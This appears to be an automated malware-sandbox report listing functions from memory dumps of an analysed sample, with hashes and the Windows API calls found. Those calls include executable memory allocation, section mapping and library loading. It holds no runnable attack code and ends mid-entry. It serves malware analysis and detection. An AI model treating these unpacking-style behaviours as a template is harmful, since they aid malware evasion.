Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: d88d0801664d78bfda64a3446c12d7080f43fbcc43d314d6878c939060ff922f
Instruction ID: afb9956ac311868e9441b7a646a309ac22e13d327055e1644c7fce00d552db90
Opcode Fuzzy Hash: d88d0801664d78bfda64a3446c12d7080f43fbcc43d314d6878c939060ff922f
Instruction Fuzzy Hash: 973189B1509345AFE750CF04C881B5FBBE4FB88314F50991CFAA9872A0D774D804CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0007541A Relevance: 3.1, APIs: 2, Instructions: 84nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000754D9
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 0007552D

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 93ef810fa83882255027ad4e45484493defe1bc963281870aef8ca0793bec798
Instruction ID: 251cb95500169a62498199a735e241887eeb97e823588002848088fa145f9e31
Opcode Fuzzy Hash: 93ef810fa83882255027ad4e45484493defe1bc963281870aef8ca0793bec798
Instruction Fuzzy Hash: D231AAB15187409FE354CF18C885B6BB7E4BB85318F509A2CF6A5CB2A0D778D804CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000746B7 Relevance: 3.1, APIs: 2, Instructions: 82nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007475E
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 000747A2

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 0cf025ad462482f7ac304742c8969956532343e699a4a1a1c2704e44fe6c15ba
Instruction ID: bca74376d20a32e71d9add722e4524173b5fbe043450a7ccd6c67e01954a75ad
Opcode Fuzzy Hash: 0cf025ad462482f7ac304742c8969956532343e699a4a1a1c2704e44fe6c15ba
Instruction Fuzzy Hash: 4B317CB1D012199FEB04CF84D882BEEBBB4FB09314F14411AEA22F73A0D7785945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00074280 Relevance: 3.1, APIs: 2, Instructions: 77nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00074321
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00074365

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 67cbd9a9329fbd8d3c47d8c0ccd302f0bdb135ad9c7ebaf08bcf388bec0e0c0f
Instruction ID: dc760f3de6a0c8975d1d8a5b239ee106eaa4b1fa8bb2eb4f41168b143b54bbd2
Opcode Fuzzy Hash: 67cbd9a9329fbd8d3c47d8c0ccd302f0bdb135ad9c7ebaf08bcf388bec0e0c0f
Instruction Fuzzy Hash: B4219D71509311AFE310CF08D885B1FBBE8EB85764F118A1CF9A887390D3B899058B96

Uniqueness

Uniqueness Score: -1.00%

Function 000756F7 Relevance: 3.1, APIs: 2, Instructions: 71nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00075AE5
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00075B39

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 9217ab149cd37af4e8649a51f230722b03d96dd4a6bc12f16028cf40b7f51cc0
Instruction ID: 63f39f11fd04a52ae5c18e9caad0b2d56736280a604bda30ec8b8dfa8cc75535
Opcode Fuzzy Hash: 9217ab149cd37af4e8649a51f230722b03d96dd4a6bc12f16028cf40b7f51cc0
Instruction Fuzzy Hash: 56314B71608340AFE764CF04C885B5BB7E5FB89354F509A1DF5AAC73A0CBB89905CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0009286A Relevance: 1.5, APIs: 1, Instructions: 33nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL ref: 000928A5

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: f23d74e7ef65157c779fdc754560ef29245d459bb9f865f585b7f7340c221303
Instruction ID: 29cb37a57120d65358fa7961ec2fbdc71be030f4c65c9367d3fc2b23361efe52
Opcode Fuzzy Hash: f23d74e7ef65157c779fdc754560ef29245d459bb9f865f585b7f7340c221303
Instruction Fuzzy Hash: F4E01275484404DBDF05FB68FC43EE536A1EF963097041020F812D5276DB6A5A34AE15

Uniqueness

Uniqueness Score: -1.00%

Function 000927F1 Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,?,00000002,00000000,00000002), ref: 0009282D

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 25165b347cc5828706b4a2424c9198611605824305d9f03bfb2352fa644f48e9
Instruction ID: 7186179470ab0917f9f2b820cce5c060fb7f8499916d438a0a3dd709e8837363
Opcode Fuzzy Hash: 25165b347cc5828706b4a2424c9198611605824305d9f03bfb2352fa644f48e9
Instruction Fuzzy Hash: C5F01C75280700AFE7209F58DC42F5177F1BB06704F100518F7929AAE2C7B67810CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000927AF Relevance: 1.5, APIs: 1, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

NtOpenSection.NTDLL(?,00000004), ref: 000927C9

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: OpenSection
String ID:
API String ID: 1950954290-0
Opcode ID: 1c9c303b61107496c26dd4f66b2655d60e2f6a4e2bf60cfa0605192c247f9369
Instruction ID: 7ca4a76f130a9f0acbed348ab746fe28cc167f3c4b910b736cd1341af31443ca
Opcode Fuzzy Hash: 1c9c303b61107496c26dd4f66b2655d60e2f6a4e2bf60cfa0605192c247f9369
Instruction Fuzzy Hash: 9AE08CB5040640EBEB04DB64EC02A6273A5B785308F04101CE382EB691C775B9128B80

Uniqueness

Uniqueness Score: -1.00%

Function 0007390E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 54de7da4069749c5b41a4231f30f8ffb38bec650c80087404cd207fe4a48e9e6
Instruction ID: db4a74a4f4be8e3dd2c5a3cf8035a6c7e3b00c33e88119ea4d125a52ea66f060
Opcode Fuzzy Hash: 54de7da4069749c5b41a4231f30f8ffb38bec650c80087404cd207fe4a48e9e6
Instruction Fuzzy Hash: 252189B06007408FEB14DF24C9D1B92B7F2BF46304F08886CD99A8B766DB78E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00090EBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00090F4C

Strings

\-"#, xrefs: 00090F08

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: FreeHeap
String ID: \-"#
API String ID: 3298025750-2514456039
Opcode ID: 3071830c70e4ecce73faa9d1429edad7f6be6fffc864cce1a67a1c39ffad5851
Instruction ID: e0b2848be92e140460c1c528b322976a8b6d7909c8b5dff621cd41828653b1a1
Opcode Fuzzy Hash: 3071830c70e4ecce73faa9d1429edad7f6be6fffc864cce1a67a1c39ffad5851
Instruction Fuzzy Hash: CF112E702083409FD318CF14D8A4B2BBBA1FBC5318F14895CE8AA57791C7399906CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0008AE40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 0008AE8B

Strings

p, xrefs: 0008AE52

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: p
API String ID: 2492992576-1465489344
Opcode ID: c6f80ec8fbd9fc61be0cdf26519b81c4da7383a38bdefe63f133939480c73598
Instruction ID: 67fa64797dc0488a6f43dddb049b78c648f5ad9830dc585b345ae39f4a3fd911
Opcode Fuzzy Hash: c6f80ec8fbd9fc61be0cdf26519b81c4da7383a38bdefe63f133939480c73598
Instruction Fuzzy Hash: 7DF0AFF04093849FE750FF78D945B5B7AE4AF85310F01492DE5C887281D7799444CB53

Uniqueness

Uniqueness Score: -1.00%

Function 0008F3FF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0008F43F

Strings

\, xrefs: 0008F40A

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: a830a4c7a6ad2efeda0043acba67e08b0428e25e2de0975b68f2215c692bd121
Instruction ID: c2eb36585ebaf20497fb375679062a511a88f7219da16113554a95fcb73738e6
Opcode Fuzzy Hash: a830a4c7a6ad2efeda0043acba67e08b0428e25e2de0975b68f2215c692bd121
Instruction Fuzzy Hash: 72F0E5B4284301BBF318CF10EC13F1A32909B81704F10441CB206A61D1C7B4BA048B59

Uniqueness

Uniqueness Score: -1.00%

Function 0009349A Relevance: 1.6, APIs: 1, Instructions: 124libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00093631

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 02e8158c3fb45c0c1347f5c7149b05279145934fb4167b701003c5eea692b8c1
Instruction ID: 1f6c45e31a35ef925a296ca10520ef8d98fd2d200508dc005a53ca670a013d41
Opcode Fuzzy Hash: 02e8158c3fb45c0c1347f5c7149b05279145934fb4167b701003c5eea692b8c1
Instruction Fuzzy Hash: B0418CB4104F42EBE714CF15ECA2A26BBB1FB42305F908608E45647B61D738E6A1CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00090D33 Relevance: 1.6, APIs: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00090DDC

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 09d12112489614ec03f3b804159c3e5c5ba9d9f39dde5bf29130f6b1398c1686
Instruction ID: 6662240d818cbce9d9b901110f1a3878afac9c14f8a9e09bcc64671b94e63f0c
Opcode Fuzzy Hash: 09d12112489614ec03f3b804159c3e5c5ba9d9f39dde5bf29130f6b1398c1686
Instruction Fuzzy Hash: 034155742416018FD714CF29C894B16BBE3EB85324F24C55CD9A58BBA5C776F847DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00086265 Relevance: 1.6, APIs: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 000863D8

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 10ae3320723db326b89f75ce2b79def1a2d90bd267968cdf938c4bbf4083de19
Instruction ID: 762c0c39034824bcbff7e0c2977efb16c6bb66f918affc8c91e4716c3b9d9a8d
Opcode Fuzzy Hash: 10ae3320723db326b89f75ce2b79def1a2d90bd267968cdf938c4bbf4083de19
Instruction Fuzzy Hash: B951C27011CBC28AC331DB28889978BBFE1ABD6224F144B5DE5E98B3E2C7758145CB57

Uniqueness

Uniqueness Score: -1.00%

Function 00092E56 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00093631

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ac2287d42c1e1eb546698e4b61b4b5e31eae39f52d317610fac05f46c732cf87
Instruction ID: 92b64e87790571a0f0c3aadbd69381a2aa1b78c4d2f43ab0afb1a49fdb221a82
Opcode Fuzzy Hash: ac2287d42c1e1eb546698e4b61b4b5e31eae39f52d317610fac05f46c732cf87
Instruction Fuzzy Hash: B4219DB4104F42EBE714CF21ECA1A66BBB1FB42305F90C60CE45647B61D738A6A1CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00093396 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 0009342A

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f88568ac3f70d6dfe736834aa6d5c9f5f4a33cdcf7461b740e775fc1595a311
Instruction ID: 0efa6ac347f32b85ed452b8e8bb1a9271322a57c8dcdde93090141ad18e02959
Opcode Fuzzy Hash: 8f88568ac3f70d6dfe736834aa6d5c9f5f4a33cdcf7461b740e775fc1595a311
Instruction Fuzzy Hash: 9311E2B4204B428BD329CF25D9A0717BBB2FF4A324B549A4CC5A65BB65C734F981CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000931B5 Relevance: 1.5, APIs: 1, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0009323E

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a1c3850c6fe64172320582b4b522cd8383a57079c90b3abeacb500ca95e9cd91
Instruction ID: a92d3c6ba6b4e11e8b0409eed92837ced65a17a64bb422d91a55cdf90d92a3d0
Opcode Fuzzy Hash: a1c3850c6fe64172320582b4b522cd8383a57079c90b3abeacb500ca95e9cd91
Instruction Fuzzy Hash: B2114974104B428BD719CF16C5A0726FBA2BF86314F1ACA4DC4A64BB55CB34E582CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0009423D Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 000942D2

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ab7753eccbe8c3058c8192defa4a029098f29c46a3edc67d472076f77fa21132
